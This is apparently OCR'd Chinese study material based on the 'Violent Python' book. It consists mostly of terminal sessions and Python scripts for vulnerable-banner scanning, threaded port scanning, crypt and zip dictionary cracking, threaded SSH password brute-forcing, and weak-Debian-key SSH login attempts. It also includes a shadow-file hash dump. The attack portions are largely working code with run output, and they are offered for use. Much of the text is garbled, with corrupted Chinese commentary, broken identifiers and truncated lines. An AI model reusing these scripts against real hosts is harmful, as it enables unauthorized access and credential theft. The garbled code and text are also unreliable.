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programmer :~# wget http://xael.org/norman/python/python-nmap/pythc
0.2.4.tar.gz-0n map.tar.gz

--2012-04-24 15:51:51--http://xael.org/norman/python/python-nmap/
python-nmap-0.2.4.tar.gz

Resolving xael.org... 194.36.166.10

Connecting to xael.org|194.36.166.10|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 29620 (29K) [application/x-gzip]

Saving to: 'nmap.tar.gz'

=============>] 29,620 60.8K/s in 0.5s

2012-04-24 15:51:52 (60.8 KB/s) - 'nmap.tar.gz' saved [29620/29620
programmer:~# tar -xzf nmap.tar.gz

programmer:~# cd python-nmap-0.2.4/
programmer:~/python-nmap-0.2.4# python setup.py install

running install

running build

running build_py

creating build

creating build/lib.linux-x86_64-2.6

creating build/1lib.linux-x86_64-2.6/nmap

copying nmap/__init__ .py -> build/lib.linux-x86_64-2.6/nmap
copying nmap/example.py -> build/lib.linux-x86_64-2.6/nmap

copying nmap/nmap.py -> build/lib.linux-x86_64-2.6/nmap

running install lib

creating /usr/local/lib/python2.6/dist-packages/nmap

copying build/1lib.linux-x86_64-2.6/nmap/__init__.py -> /usr/local/.
python2.6/dist-packages/nmap

copying build/1lib.linux-x86_64-2.6/nmap/example.py -> /usr/local/l:
python2.6/dist-packages/nmap

copying build/1lib.linux-x86_64-2.6/nmap/nmap.py -> /usr/local/lib/
python2.6/dist-packages/nmap

byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/__init__
to __init___.pyc

byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/example
to example.pyc

byte-compiling /usr/local/lib/python2.6/dist-packages/nmap/nmap.py
nmap.pyc

running install_egg_info

Writing /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4.e
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programmer:~ # easy_install python-nmap

Searching for python-nmap
Readinghttp://pypi.python.org/simple/python-nmap/
Readinghttp://xael.org/norman/python/python-nmap/

Best match: python-nmap 0.2.4
Downloadinghttp://xael.org/norman/python/python-nmap/python-nmap-
0.2.4.tar.gz

Processing python-nmap-0.2.4.tar.gz

Running python-nmap-0.2.4/setup.py -q bdist_egg --dist-dir /tmp/ea:
install-rtyUSS/python-nmap-0.2.4/egg-dist-tmp-EOPENS

zip_safe flag not set; analyzing archive contents...

Adding python-nmap 0.2.4 to easy-install.pth file

Installed /usr/local/lib/python2.6/dist-packages/python_nmap-0.2.4:
py2.6.egg

Processing dependencies for python-nmap

Finished processing dependencies for python-nmap
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programmer:~ # easy_install pyPdf python-nmap pygeoip mechanize Be

j E— 2

HRFR BT — RO TR easy_install THRGGE T E o BT e A &
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attacker# apt-get install python-bluez bluetooth python-obexftp
Reading package lists... Done

Building dependency tree

Reading state information... Done

<..SNIPPED. .>

Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb)
Selecting previously deselected package python-bluez.

Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)
Setting up bluetooth (4.60-0ubuntu8)

Setting up python-bluez (0.18-1)

Processing triggers for python-central
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programmer# python -V
Python 2.6.5

f&#% A python VS X Z %! python

5 Lty K35 F KL 0 Python £ —#HEAE T o £BATH » R & FRAG
4 > AT E wpython S LA » RMNE—A .py XHkAT

! "Hello World" ° A T AF#XMZ/F > &AT1R M python A4 & €] 1 — 37 69 By
Ao

programmer# echo print \"Hello World\" > hello.py
programmer# python hello.py
Hello World

3Lk o python BA X Z A8 H » 2 5% 1H)7 7T AR Al python @& % » JH B S B
RRLR - BBHBBER » BEFRF R LT F S EKGHATpython » A FHEE &
EHR—A >>> ERTFEFETR > T RBRGAST o £RXE > B XITHRH
A print "Hello World" ° #& F® %G » python X ZM@#H X & LB AT%E
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programmer# python

Python 2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3] on linux2

>>>

>>> print "Hello World"

Hello World
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>>> port = 21

>>> banner = "FreeFloat FTP Server"

>>> print "[+] Checking for "+banner+" on port "+str(port)
[+] Checking for FreeFloat FTP Server on port 21
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>>> banner = "FreeFloat FTP Server" # A string
>>> type(banner)

<type 'str'>

>>> port = 21 # An integer

>>> type(port)

<type 'int'>

>>> portList=[21,22,80,110] # A list
>>> type(portlList)

<type 'list'>

>>> portOpen = True # A boolean

>>> type(portOpen)

<type 'bool'>
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>>> banner = "FreeFloat FTP Server"

>>> print banner.upper()

FREEFLOAT FTP SERVER

>>> print banner.lower ()

freefloat ftp server

>>> print banner.replace('FreeFloat', 'Ability"')
Ability FTP Server

>>> print banner.find('FTP')
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>>> portList = []

>>> portList.append(21)

>>> portList.append(80)

>>> portList.append(443)

>>> portList.append(25)

>>> print portList

[21, 80, 443, 25]

>>> portList.sort()

>>> print portList

[21, 25, 80, 443]

>>> pos = portList.index(80)

>>> print "[+] There are "+str(pos)+" ports to scan before 80."
[+] There are 2 ports to scan before 80.

>>> portList.remove(443)

>>> print portList

[21, 25, 80]

>>> cnt = len(portList)

>>> print "[+] Scanning "+str(cnt)+" Total Ports."
[+] Scanning 3 Total Ports.
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>>> services = {'ftp':21, 'ssh':22, 'smtp':25, 'http':80}
>>> gservices.keys()

['ftp', 'smtp', 'ssh', 'http']

>>> gservices.items()

[('ftp", 21), ('smtp', 25), ('ssh', 22), ('http', 80)]
>>> services.has_key('ftp')

True

>>> services['ftp']

21

>>> print "[+] Found vuln with FTP on port "+str(services['ftp'])
[+] Found vuln with FTP on port 21
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>>> import socket

>>> socket.setdefaulttimeout(2)

>>> s = socket.socket()

>>> s.connect(("192.168.95.148",21))
>>> ans = s.recv(1024)

>>> print ans

220 FreeFloat Ftp Server (Version 1.00).
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>>>
>>>
>>>
>>>
>>>
>>>

import socket

socket.setdefaulttimeout(2)

s = socket.socket()

s.connect(("192.168.95.148",21))

ans = s.recv(1024)

if ("FreeFloat Ftp Server (Version 1.00)" in ans):
print "[+] FreeFloat FTP Server is vulnerable."

. elif ("3Com 3CDaemon FTP Server Version 2.0" in banner):

print "[+] 3CDaemon FTP Server is vulnerable."

. elif ("Ability Server 2.34" in banner):

print "[+] Ability FTP Server is vulnerable."

. elif ("Sami FTP Server 2.0.2" in banner):

. else:

[+]

print "[+] Sami FTP Server is vulnerable."
print "[-] FTP Server is not vulnerable."

FreeFloat FTP Server is vulnerable."
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>>>

print 1337/0

Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by ze

e REMNBAERNTZGCEARLEHE R > 24 BTOERFZ A L7 ART
pythoni® & - 489 7 F 4 I AL A 37T A X AR © 1 &RAT R B3 AT @ 69 6] F » &RAVIE
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>>>

try:
print "[+] 1337/0 = "+str(1337/0)

. except:

[-]

>>>

print "[-] Error. "

Error
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>>> try:
print "[+] 1337/0 = "+str(1337/0)
. except Exception, e:
print "[-] Error = "+str(e)

[-] Error = integer division or modulo by zero
>>>

A > IERATA FFRLER EHRMOBA » KAV FF A HEIeM 38 KD K
i% BTk RMNEHESD — A@ﬁﬂwmumi%ﬁmpwkﬁm o o F KA
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>>> import socket
>>> socket.setdefaulttimeout(2)
>>> s = socket.socket()
>>> try:
. s.connect(("192.168.95.149",21))
. except Exception, e:
print "[-] Error = "+str(e)

[-] Error = Operation timed out
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import socket

def retBanner(ip, port):

try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip, port))
banner = s.recv(1024)
return banner

except:
return

def main():
ipl = '192.168.95.148'
ip2 = '192.168.95.149'
port = 21

bannerl = retBanner(ipl, port)
if banneri:
print '[+] ' + ip1 + ': ' + banner1l
banner2 = retBanner(ip2, port)
if banner2:

print '[+] ' + ip2 + ': ' + banner2
if __name__ == '__main__':
main()
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import socket
def retBanner(ip, port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip, port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner):
if 'FreeFloat Ftp Server (Version 1.00)' in banner:
print '[+] FreeFloat FTP Server is vulnerable.'
elif '3Com 3CDaemon FTP Server Version 2.0' in banner:
print '[+] 3CDaemon FTP Server is vulnerable.'
elif 'Ability Server 2.34' in banner:
print '[+] Ability FTP Server is vulnerable.'
elif 'Sami FTP Server 2.0.2' in banner:
print '[+] Sami FTP Server is vulnerable.'
else:
print '[-] FTP Server is not vulnerable.'
return
def main():
ip1l = '192.168.95.148"

ip2 = '192.168.95.149"
ip3 = '192.168.95.150"
port = 21

bannerl = retBanner(ipl, port)

if banneri:
print '[+] ' + ip1l + ': ' + bannerl.strip('\n’)
checkVulns(banner1l)

banner2 = retBanner(ip2, port)

if banner2:
print '[+] ' + ip2 + ': ' + banner2.strip('\n')
checkVulns(banner2)

banner3 = retBanner(ip3, port)

if banner3:

print '[+] ' + ip3 + ': ' + banner3.strip('\n')
checkVulns(banner3)
if __name__ == '__main__":
main()
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RBEREB—%F 128 for BIMEFI ZNAELEMES o FABIF : wRK
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>>> for x in range(1,255):
print "192.168.95."+str(x)

192.168.95.
192.168.95.
192.168.95.
192.168.95.
192.168.95.
192.168.95.
... <SNIPPED> ...
192.168.95.253

192.168.95.254

OOk, WN R

FI#E > &RATTRET B8 Son by sn 0 7| A RAE SRR o RAE— AR I8 %5F » KT
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>>> portList = [21,22,25,80,110]
>>> for port in portList:
print port
21
22
25

80
110

HETAA for AR RAERMNTRAITH EENPHRIAEFR DT o

>>> for x in range(1,255):
for port in portList:
print "[+] Checking 192.168.95."\

+str(x)+": "+str(port)
[+] Checking 192.168.95.1:21
[+] Checking 192.168.95.1:22
[+] Checking 192.168.95.1:25
[+] Checking 192.168.95.1:80
[+] Checking 192.168.95.1:110
[+] Checking 192.168.95.2:21
[+] Checking 192.168.95.2:22
[+] Checking 192.168.95.2:25
[+] Checking 192.168.95.2:80
[+] Checking 192.168.95.2:110

<... SNIPPED ...>
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import socket
def retBanner(ip, port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip, port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner):
if 'FreeFloat Ftp Server (Version 1.00)' in banner:
print '[+] FreeFloat FTP Server is vulnerable.'
elif '3Com 3CDaemon FTP Server Version 2.0' in banner:
print '[+] 3CDaemon FTP Server is vulnerable.'
elif 'Ability Server 2.34' in banner:
print '[+] Ability FTP Server is vulnerable.'
elif 'Sami FTP Server 2.0.2' in banner:
print '[+] Sami FTP Server is vulnerable.'
else:
print '[-] FTP Server is not vulnerable.'
return
def main():
portList = [21,22,25,80,110,443]
for x in range(1, 255):
ip = '192.168.95.' + str(x)
for port in portList:
banner = retBanner(ip, port)

if banner:
print '[+] ' + ip + ': ' + banner
checkVulns(banner)
if __name__ == '__main__':

main()
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programmer$ cat vuln_banners.txt

3Com 3CDaemon FTP Server Version 2.0
Ability Server 2.34

CCProxy Telnet Service Ready

ESMTP TABS Mail Server for Windows NT
FreeFloat Ftp Server (Version 1.00)
IMAP4revl MDaemon 9.6.4 ready
MailEnable Service, Version: 0-1.54
NetDecision-HTTP-Server 1.0

PSO Proxy 0.9

SAMBAR

Sami FTP Server 2.0.2

Spipe 1.0

TelSrv 1.5

WDaemon 6.8.5

WinGate 6.1.1

Xitami

YahooPOPs! Simple Mail Transfer Service Ready

FAVHE 2de KA £ 375 89 RAG % 2] R4 checkvulns() F o £X ZRAIE A R
BA( "'r' )ATFA LA o RE1EA XEK readlines() wH L HHE—1T» &
—17 > Eflfet 5 KGR 712 B4 i > ZEERANLA A7

% Lstrip(‘\r’) EBR BT ER > e REXA—HRET » RAVITH B A RF
bR %15 & o

def checkVulns(banner):
f = open("vuln_banners.txt", 'r')
for line in f.readlines():
if line.strip('\n') in banner:
print "[+] Server 1is vulnerable: "+banner.strip('\n')
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http://docs.python.org/library/sys

import sys
if len(sys.argv)==2:
filename = sys.argv[1]
print "[+] Reading Vulnerabilities From: "+filename

BATRA R R B RAVA BVRAD R 8 AT T 0 AT 5 B0 AT i B T /3%
b o ARFTVATCET A 5k & 3] T AR 6 sysAR SRR LB AL TR THIF 89 F G 8 T RE o

programmer$ python vuln-scanner.py vuln-banners.txt
[+] Reading Vulnerabilities From: vuln-banners.txt

OS#2 3k

MNEMOSHERET £ 9 5MACNT,PosixFREAARAITX LN o I
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import sys
import os
if len(sys.argv) ==
filename = sys.argv([1]
if not os.path.isfile(filename):
print '[-] ' + filename + ' does not exist.'
exit(0)
if not os.access(filename, 0s.R_OK):
print '[-] ' + filename + ' access denied.'
exit(0)
print '[+] Reading Vulnerabilities From: ' + filename

AT BIE BN RAG > A Z R ER—ADFE LG > ZSUHR KA1 AL 53T 9P
T HERAZE 0 BT R RATGIR AR » RATEI B AR 89152 B T 4 o 5 4K
ATIRA] T AR > KA1 B A AR 09T PP T AE 9% 4] 697K & o

programmer$ python test.py vuln-banners.txt

[-] vuln-banners.txt does not exist.

programmer$ touch vuln-banners.txt

programmer$ python test.py vuln-banners.txt

[+] Reading Vulnerabilities From: vuln-banners.txt
programmer$ chmod 000 vuln-banners.txt

programmer$ python test.py vuln-banners.txt

[-] vuln-banners.txt access denied
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Import socket
import os
import sys
def retBanner(ip, port):
try:
socket.setdefaulttimeout(2)
s = socket.socket()
s.connect((ip, port))
banner = s.recv(1024)
return banner
except:
return
def checkVulns(banner, filename):
f = open(filename, 'r')
for line in f.readlines():
if line.strip('\n') in banner:
print '[+] Server is vulnerable: ' +\
banner.strip('\n")
def main():
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print '[-] ' + filename +\
' does not exist.'
exit(0)
if not os.access(filename, 0s.R_OK):
print '[-] ' + filename +\
' access denied.'
exit(0)
else:
print '[-] Usage: ' + str(sys.argv[0]) +\
' <vuln filename>'
exit(0)
portList = [21,22,25,80,110,443]
for x in range(147, 150):
ip = '192.168.95.' + str(x)
for port in portList:
banner = retBanner(ip, port)

if banner:
print '[+] ' + ip + ': ' + banner
checkVulns(banner, filename)
if __name__ == '__main__":

main()
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>>>import crypt
>>>crypt.crypt(‘egg’, ‘HX")
“HX9LLTdc/jiDE"”

>>>

EE AR A AL A R A AT AL 0 X BRIV R A RAL o
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http://pan.baidu.com/s/1kTCNwMF

# coding=UTF-8

BT BRUNIXE 4G > F B Ar A2 ST AP UNTIX A 2 45 ST
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictfile = open('dictionary.txt', 'r') #irFFEIH
for word in dictfile.readlines():
word = word.strip('\n") HIRGRE T > TR TR
cryptWord = crypt.crypt(word, salt)
if cryptPass == cryptWord:

print('Found passed : ', word)
return
print('Password not found !')
return

def main():
passfile = open('passwords.txt', 'r') #iEIED
for line in passfile.readlines():
user = line.split(':')[0]
cryptPass = line.split(':")[1].strip('")
print("Cracking Password For :", user)
testPass(cryptPass)

if _ name__ == '_main__':
main()
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root@dJ-PC:/home/dj# cat /etc/shadow | grep root
root:$65t0dy7TXs$mIxjlYdfx83EgOb7ryletUQA8g7GliedT2D1nlLhiEunizJ1A/
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# coding=UTF-8

R F- 38 3% ) AR ZIPJE 48 X AF B A
import zipfile

import threading

def extractFile(zFile, password):

try:
zFile.extractall(pwd=password)
print("Found Passwd : ", password)
return password
except:
pass
def main():

zFile = zipfile.zZipFile('unzip.zip')
passFile = open('dictionary.txt')
for line in passFile.readlines():
password = line.strip('\n"')
t = threading.Thread(target=extractFile, args=(zFile, pass\
t.start()
guess = extractFile(zFile, password)
if guess:
print('Password = ', password)
return
else:
print("can't find password")
return

if __name__ == '_ _main__"':
main()
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# coding=UTF-8

ZIP/E % LA A BAL - 3B hR > A P ST VA B T8 R B R AR 0 ST fo s AR T 3 » % BRAZ AR AR
import zipfile

import threading

import optparse

def extractFile(zFile, password):

try:
zFile.extractall(pwd=password)
print("Found Passwd : ", password)
except:
pass
def main():

parser = optparse.OptionParser('usage%prog -f &lt;zipfile&gt;
parser.add_option('-f', dest='zname', type='string', help="spec
parser.add_option('-d', dest='dname', type='string', help="spec
options, args = parser.parse_args()

if options.zname == None | options.dname == None:
print(parser.usage)
exit(0)

else:

zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
dFile = open(dname, 'r')
for line in dFile.readlines():
password = line.strip('\n')
t = threading.Thread(target=extractFile, args=(zFile, passy

t.start()
if __name__ == '__main__"':
main()
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socket.gethostbyname(hostname) : XA FREI EAE e A IPHIL » o
socket.gethostbyaddr(ip_address) : ZMREFAEAN—ANIPHIGRET— T A o
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http://docs.Python.org/library/socket.html

# coding=UTF-8
import optparse
parser = optparse.OptionParser('usage %prog -H <target host> -p <t
parser.add_option('-H', dest='tgtHost', type='string', help="'specit
parser.add_option('-p', dest='tgtPort', type='int', help='specify 1
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
if (tgtHost == None) | (tgtPort == None):
print(parser.usage)
exit(0)
else:
print(tgtHost)
print(tgtPort)
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# coding=UTF-8
import optparse
import socket

def connScan(tgtHost, tgtPort):

try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM
connSkt.connect((tgtHost, tgtPort))
print('[+]%d/tcp open' % tgtPort)
connSkt.close()

except:
print('[-]%d/tcp closed' % tgtPort)

def portScan(tgtHost, tgtPorts):

try:
tgtIP = socket.gethostbyname(tgtHost)

except:
print("[-] Cannot resolve '%s': Unknown host" % tgtHost)
return

try:

tgtName = socket.gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0O])
except:
print('\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout (1)
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
connScan(tgtHost, int(tgtPort))
#M XL EF A 2
portScan('www.baidu.com', [80,443,3389,1433,23,445])
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# coding=UTF-8
import optparse
import socket

def connScan(tgtHost, tgtPort):

try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
print('[+]%d/tcp open' % tgtPort)
print('[+] ' + str(results))
connSkt.close()

except:
print('[-]%d/tcp closed' % tgtPort)

def portScan(tgtHost, tgtPorts):

try:
tgtIP = socket.gethostbyname(tgtHost)

except:
print "[-] Cannot resolve '%s': Unknown host" %tgtHost
return

try:

tgtName = socket.gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0])
except:
print('\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
connScan(tgtHost, int(tgtPort))

def main():
parser = optparse.OptionParser('usage %prog -H <target host> -j
parser.add_option('-H', dest='tgtHost', type='string', help="'sj
parser.add_option('-p', dest='tgtPort', type='int', help='spec:
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
if (tgtHost == None) | (tgtPort == None):
print('[-] You must specify a target host and port[s]!')

exit(0)
portScan(tgtHost, args)
if __name__ == '__main__":
main()
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attacker$ python portscanner.py -H 192.168.1.37 -p 21, 22, 80
[+] Scan Results for: 192.168.1.37

Scanning port 21

[+] 21/tcp open

[+] 220 FreeFloat Ftp Server (Version 1.00).
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for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
t = threading.Thread(target=connScan, args=(tgtHost, int(t¢
t.start()
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screenLock = threading.Semaphore(value=1)
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
screenLock.acquire()
print('[+]%d/tcp open' % tgtPort)
print('[+] ' + str(results))
except:
screenLock.acquire()
print('[-]%d/tcp closed' % tgtPort)
finally:
screenLock.release()
connSkt.close()
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# coding=UTF-8
import optparse
import socket
import threading

screenLock = threading.Semaphore(value=1)
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n'")
results = connSkt.recv(100)
screenLock.acquire()
print('[+]%d/tcp open' % tgtPort)
print('[+] ' + str(results))
except:
screenLock.acquire()
print('[-]%d/tcp closed' % tgtPort)
finally:
screenLock.release()
connSkt.close()

def portScan(tgtHost, tgtPorts):

try:
tgtIP = socket.gethostbyname(tgtHost)

except:
print "[-] Cannot resolve '%s': Unknown host" %tgtHost
return

try:

tgtName = socket.gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0])



except:
print('\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))
t = threading.Thread(target=connScan, args=(tgtHost, int(tg
t.start()

def main():
parser = optparse.OptionParser('usage %prog -H <target host> -j
parser.add_option('-H', dest='tgtHost', type='string', help="sj
parser.add_option('-p', dest='tgtPort', type='int', help="'spec:
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
if (tgtHost == None) | (tgtPort == None):
print('[-] You must specify a target host and port[s]!')

exit(0)
portScan(tgtHost, args)
if __name__ == '__main__"':
main()
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attacker:!'# python portScan.py -H 10.50.60.125 -p 21, 1720
[+] Scan Results for: 10.50.60.125

[+] 21/tcp open

[+] 220- Welcome to this Xitami FTP server

[-] 1720/tcp closed
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# coding=UTF-8
import optparse
import nmap

def nmapScan(tgtHost, tgtPort):
nmScan = nmap.PortScanner()
results = nmScan.scan(tgtHost, tgtPort)
state = results['scan'][tgtHost]['tcp'][int(tgtPort)]['state']
print(" [*] " + tgtHost + " tcp/" + tgtPort + " " + state)
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -j
parser.add_option('-H', dest='tgtHost', type='string', help="'sj
parser.add_option('-p', dest='tgtPort', type='string', help='sj
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
if (tgtHost == None) | (tgtPort == None):
print('[-] You must specify a target host and port[s]!')
exit(0)
for tgport in args:
nmapScan(tgtHost, tgport)
if __name__ == '__main__"':
main()
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attacker:!# python nmapScan.py -H 10.50.60.125 -p 21, 1720
[*] 10.50.60.125 tcp/21 open
[*] 10.50.60.125 tcp/1720 filtered
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Received From: violentPython->/var/log/auth.log

Rule: 5712 fired (level 10) -> "SSHD brute force trying to get acce
Portion of the log(s):

Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from ¢
Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from ¢
Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford fror
Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford fror
Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford fror
Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix fror
Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix fror

j S— >

iA it Pexpect 5 SSH #4718

(7 : Pexpect & Don Libes # Expect & & 8 — /> Python %3 » £—AMNA kB 3
FAF o AR EN R A5 M BB T aE > AEAS LAz KL
Python 3k ° Pexpect 894 Al G BAR S » TTAR k2345 ssh ~ ftp ~ telnet 425
AR E ;s TUARARBHERRHZREOHAETRMNE ALK 3 BT UK E
A MR F G 24T LB B #h1k)

RN ER AP RAI R DA P EIE  c RASSH B8 &%
P e E » RAVEGBI AL FA R BRI Z A » ERZEH#—F AT ELEZ
Ao ZFR—TUTHHEZ » ATEERNYIP XAEH 127.0.0.1 #SSH HLE »



B AL 2 REMAINRSA B4 » £ RZAEILT » &ATL0 @ & "yes" 4 AL 4
4o HE R AR FERBENMALH o )5 » BINNPATEAIGF S uname -a k4
T EAARME B BITARK

attacker$ ssh root@127.0.0.1

The authenticity of host '127.0.0.1 (127.0.0.1)' can't be establisl
RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known
hosts.

Password 0 *kkhkkkhkkhkkkhkkhkkkh*x*k

Last login: Mon Oct 17 23:56:26 2011 from localhost

attacker:~ uname -v

Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011;
root:xnu-1699.24.8~1/RELEASE_X86_64
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http://pexpect.sourceforge.net

import pexpect
PROMPT = [l# ', I>>> |’ I> I, |\$ l]

def

def

send_command(child, cmd):
child.sendline(cmd)
child.expect (PROMPT)
print(child.before)

connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host

child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword
if ret ==
print('[-] Error Connecting')
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
if ret ==
print('[-] Error Connecting')
return
child.sendline(password)
child.expect (PROMPT)
return child
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import pexpect
PROMPT - [l# |’ I>>> ', I> l’ |\$ I]
def send_command(child, cmd):

s —

child.sendline(cmd)
child.expect (PROMPT)
print(child.before)
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# coding=UTF-8
__author__ = 'dj'
import pexpect
PROMPT = [l# |’ TSss |’ LS |, |\$ |]
def send_command(child, cmd):
child.sendline(cmd)
child.expect (PROMPT)
print(child.before)
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey
if ret ==
print('[-] Error Connecting')
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
if ret ==
print('[-] Error Connecting')
return
child.sendline(password)
child.expect (PROMPT)
return child

def main():
host = 'localhost'
user = 'root'
password = 'toor'

child = connect(user, host, password)

send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':

main()

BATZABA o AT AL B KA T AEED —ANSSH IR 5 » FafZiEHHF L
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attacker# ssh-kengen

Generating public/private rsal key pair.

<..SNIPPED. .>

attacker# service ssh start

ssh start/running, process 4376

attacker# python sshCommand.py

cat /etc/shadow | grep root

root :$6$ms32yIGN$NyXjOYofkK14MpRwFHVXQWOYvUid.s1JtgxHE2EuQqgD
74S/GaGGs5VCnqgeC.bSOMzTT/EFS3uspQMNeepIAc. :15503:0:99999:7: ::
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EERE— MR EGERIE RN T AT pexpect 1EIRGEET » 12 &AM
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import pxssh

def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print(s.before)

def connect(host, user, password):

try:
s = pxssh.pxssh()
s.login(host, user, password)
return s

except:
print '[-] Error Connecting'
exit(0)

s = connect('127.0.0.1', 'root',6 'toor')
send_command(s, 'cat /etc/shadow | grep root')
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# coding=UTF-8

import pxssh

import optparse

import time

import threading

maxConnections = 5

connection_lock =

threading.BoundedSemaphore(value=maxConnections)

Found = False

Fails = 0

def connect(host, user, password, release):
global Found, Fails
try:



s = pxssh.pxssh()
s.login(host, user, password)
print('[+] Password Found: ' + password)
Found = True
except Exception as e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+'-H<target host> -
parser.add_option('-H', dest='tgtHost', type='string', help="'sj
parser.add_option('-f', dest='passwdFile', type='string', help:
parser.add_option('-u', dest='user',6 type='string', help='spec:
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user

if host == None or passwdFile == None or user == None:
print(parser.usage)
exit(0)

fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n")
print("[-] Testing: " + str(password))
t = threading.Thread(target=connect, args=(host, user, pas:
t.start()
if __name__ == '__main__':
main()
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ttacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
Testing: 123456789
Testing: password
Testing: 1234567
Testing: alpine
Testing: passwordl
Testing: soccer
Testing: anthony
Testing: friends
Password Found: alpine
Testing: butterfly
Exiting: Password Found
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attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
attacker# tar -xf debian_ssh_dsa_1024_x86.tar
attacker# cd dsa/1024/

attacker# 1s
00005b35764e0b2401a9dcbcas5b6b6b5-1390
00005b35764e0b2401a9dcbca5b6b6b5-1390. pub
00058ed68259e603986db2af4eca3d59-30286
00058ed68259e603986db2af4eca3d59-30286.pub
0008b2c4246b6d4actfdOb0778b76c353-29645
0008b2c4246b6d4actfdOb0778b76c353-29645. pub
000b168ba54c7c9c6523a22d9ebcad6f-18228
<..SNIPPED. .>

attacker# rm -rf dsa/1024/*.pub
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# coding=UTF-8

import pexpect

import optparse

import os

import threading

maxConnections = 5

connection_lock =

threading.BoundedSemaphore(value=maxConnections)

Stop = False

Fails = 0

def connect(user, host, keyfile, release):
global Stop, Fails

try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + '@' + host + ' -1 ' + keyfile + ¢
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied,
ssh_newkey, conn_closed, '$', '#', ])
if ret ==
print('[-] Adding Host to ~/.ssh/known_hosts')
child.sendline('yes"')
connect(user, host, keyfile, False)
elif ret ==
print('[-] Connection Closed By Remote Host')
Fails += 1
elif ret > 3:
print('[+] Success. ' + str(keyfile))
Stop = True
finally:
if release:
connection_lock.release()
def main():

parser = optparse.OptionParser('usage%prog -H <target host> -u
parser.add_option('-H', dest='tgtHost', type='string', help="sj
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parser.add_option('-d', dest='passDir', type='string', help="sj
parser.add_option('-u', dest='user',6 type='string', help="'spec:
(options, args) = parser.parse_args()

host = options.tgtHost

passDir = options.passDir

